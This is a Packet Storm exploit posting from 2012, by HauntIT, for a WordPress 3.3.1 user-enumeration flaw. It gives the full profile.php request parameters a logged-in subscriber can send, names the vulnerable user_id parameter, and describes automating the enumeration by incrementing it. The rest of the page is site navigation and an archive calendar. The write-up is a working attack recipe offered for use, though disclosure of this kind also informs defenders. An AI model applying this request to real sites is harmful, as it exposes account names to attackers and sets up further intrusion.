exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress 3.3.1 Parameter Pollution

WordPress 3.3.1 Parameter Pollution
Posted Mar 11, 2012
Authored by HauntIT

WordPress version 3.3.1 suffers from a parameter pollution vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 764807c6a59cdf8d9181475d2f7bbbdb52d74303fb418e14820d49833b5284dc

WordPress 3.3.1 Parameter Pollution

Change Mirror Download
# TITLE ....... # Wordpress 3.3.1 post-auth SQL Injection ............. #
# DATE ........ # 16.02.2012 .......................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #
# SOFT LINK ... # http://wordpress.org ................................ #
# VERSION ..... # 1.0.0 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

# 2. What is the type of vulnerability?
This is kind of wierd SQL Injection (or parameter manipulation for 'priviledge escalation').
For user who has admin access there is functionality like "show all users in webapp".
For normal user (registered, with "role" rights), there isn't functionality like this.
But using Wordpress in way that it is not designed to, we can get all user-names in
latest(/installed) WordPress (3.3.1).

# 3. Where is bug :)
To trigger this vulnerability, we must log in as a normal (registered/role rights) user.
You should know that this descriptions is covering getting only 1 username.
To automate this process to enumerate all users, write Your own PoC. ;)

If You're logged in as a normal user ("subscriber"), go to:
wordpress/wp-admin/profile.php

Now You should set parameters like this:
?_wpnonce=&
_wp_http_referer=&
from=profile&
checkuser_id=&
admin_color=&
admin_bar_front=&
first_name=last_name=&
nickname=&
display_name=&
email=tester@tester.com&
url=&
aim=&
yim=&
jabber=&
description=&
pass1=&
pass2=&
action=update&
user_id=3

Vulnerable parameter is (the last) "user_id".
When we set this parameter value to other integer value, we can get names of other users in webapp.
Information about name will back to us in error page (so for automate attacks You should
use something similar to n+1 (for value of user_id parameter).

I wrote similar tool for 3.2.1 version, here it is:
http://hauntit.blogspot.com/2011/09/wordpress-321-user-enumeration.html

Cheers!

# 4. More...

- http://www.wordpress.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

# Best regards
#
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close